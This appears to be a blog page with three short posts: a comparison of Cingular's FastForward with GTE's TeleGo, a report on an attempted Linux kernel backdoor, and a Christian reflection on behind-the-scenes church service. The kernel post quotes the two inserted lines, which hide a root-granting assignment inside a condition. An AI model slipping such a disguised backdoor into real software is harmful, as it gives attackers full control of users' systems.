Cingular: Recycled Ideas?

Cingular, a wireless phone company well known for its “Rollover” minutes plan and other innovations, has recently started advertising FastForward. The device is a charging cradle for wireless phones. It lets customers seamlessly forward calls to their home phone – just drop the phone into the cradle. Neat innovation – or is it?

Before it merged to become a part of Verizon, GTE marketed its wireless service under the name TeleGo. Pricing for the service was simple: $25 per month plus 25 cents a minute. People today might have griped about the lack of included minutes and calling services, but back in 1996, it was celebrated for its easy-to-understand, fair pricing model.

However, the service’s best feature was its slick simplicity. When a customer was within range of their phone’s base station, the phone acted just like a cordless phone. Calls to either the cell phone or home phone number rang everywhere – and there were no airtime charges for calls made or received within range of the base station. When the customer left home, the phone automatically changed itself back into a cell phone.

Cingular is usually praised for its customer friendliness, but in this case, a clever idea by GTE beat them to it. (Luckily for them, GTE isn’t around to press the issue.)

Caught Early, Thank Goodness

A very sophisticated cracking attempt against the Linux 2.6 kernel was attempted yesterday. The attacker added two lines of code to a developer’s CVS code base:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

This little snippet of code would allow any program to become the root user, bypassing all security in the system.

If the cracked file made it back into the primary Linux tree, the backdoor might have gone unnoticed for months – maybe even long enough to make it into the release. If that happened, a sizable chunk of the servers on the Internet would be compromised – exposed and vulnerable to the world.

I’m really glad they caught this. It’s a testament to the open source model that this minuscule addition to the source was spotted so quickly. Rock on, Linus ‘n friends.

(Original link via Slashdot.)

God’s Work in the Trenches

A recent post by Lee Anne got me thinking about how the world, and often how Christians, tend to understand Jesus Christ. Her words were profound:

Satan doesn’t care how much people talk about Jesus – speculating on His sex life, searching for the historic Jesus or debating about whether He really said everything the Gospel writers attribute to Him. In fact, he probably loves it…What really makes Satan tremble is when people start focusing on Jesus Christ and the cross.

Without consciously realizing it, this has been a constant struggle for me. God gives everybody particular gifts and talents to serve Him. For people who minister behind the scenes in a church community, it can be difficult to remember that the application of your gifts needs to result in souls finding Christ.

People who maintain church facilities, set up before services, and handle sound and video equipment live by the maxim, “the greatest compliment is none at all” – if you’re doing your job right, nobody notices you. However, if my personal experiences are any indication, people who handle these important tasks can lose sight of their purpose.

I think I’m going to need to be a little more aware of how I’m using my gifts in the future. They need to point people directly to God.